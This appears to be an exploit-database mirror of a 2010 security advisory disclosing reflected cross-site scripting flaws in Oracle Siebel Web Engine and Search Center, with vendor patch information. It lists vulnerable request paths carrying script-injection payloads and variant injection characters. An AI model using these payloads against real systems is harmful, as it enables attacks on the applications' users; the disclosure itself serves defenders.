Home / os / win7

[webapps / 0day] - Oracle Siebel eBusiness Application &acir

Posted on 20 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Oracle Siebel eBusiness Application – Multiple XSS Vulnerabilities | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Oracle Siebel eBusiness Application – Multiple XSS Vulnerabilities by Roberto Suggi Liverani in webapps / 0day | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>==================================================================
Oracle Siebel eBusiness Application – Multiple XSS Vulnerabilities
==================================================================

Description
Security-Assessment.com has discovered that two components of the Siebel eBusiness Application Suite are vulnerable to reflected Cross Site Scripting attacks. The vulnerabilities can be exploited by both authenticated and unauthenticated remote users.
 
The following components have been found vulnerable:
    -   Siebel Web Engine;
    -   Siebel eBusiness Search Center.
 
Exploitation
The table below details where Cross Site Scripting was detected and which parameters are vulnerable:
 
Siebel Web Engine - Public page:
/eservice/&quot;&gt;&lt;script&gt;alert(‘xss’)&lt;/script&gt;.swe?SWECmd=Login
&amp;SWECM=S
Some Siebel eBusiness Applications require the attacker to change
the injection using variations such as &quot;&gt;,‘&gt;, %22%3E, ‘}, ‘) .
 
 
Siebel eBusiness Search Center - Only authenticated user can access this
page:
/start.swe?Id=%22%3E%3Cscript%3Ealert%28213%29%3C%2F
script%3E&amp;SWEField=s_2_1_0_0&amp;SWEFo=SWEForm2_0&amp;SWENee
dContext=true&amp;SWESP=false&amp;SWERowIds=&amp;SWEMethod=Find&amp;
SWECmd=InvokeMethod&amp;SWEVI=Search&amp;SWEPOC=&amp;SWETF=Searc
h&amp;SWETargetView=&amp;SWEDIC=false&amp;SWEReqRowId=0&amp;SWEView=
Find+View&amp;SWETVI=&amp;SWERowId=VRId-0&amp;SWEC=4&amp;SWEM=&amp;SWEBI
D=1202770071&amp;SWESPa=&amp;SWEContainer=&amp;SWETS=12027737651
09&amp;SWETA=&amp;SWEApplet=Find+Applet
 
Solution
Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory -October 2010. Security-Assessment.com recommends all users of Oracle eBusiness Suite to upgrade to the latest version as soon as possible. For more information on the new release of Oracle eBusines Suite patch please refer to the release notes:
http://support.oracle.com/CSP/main/article?cmd=show&amp;type=NOT&amp;id=1210593.1


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-20]</pre></body></html>

 

TOP

Malware :

Exploits :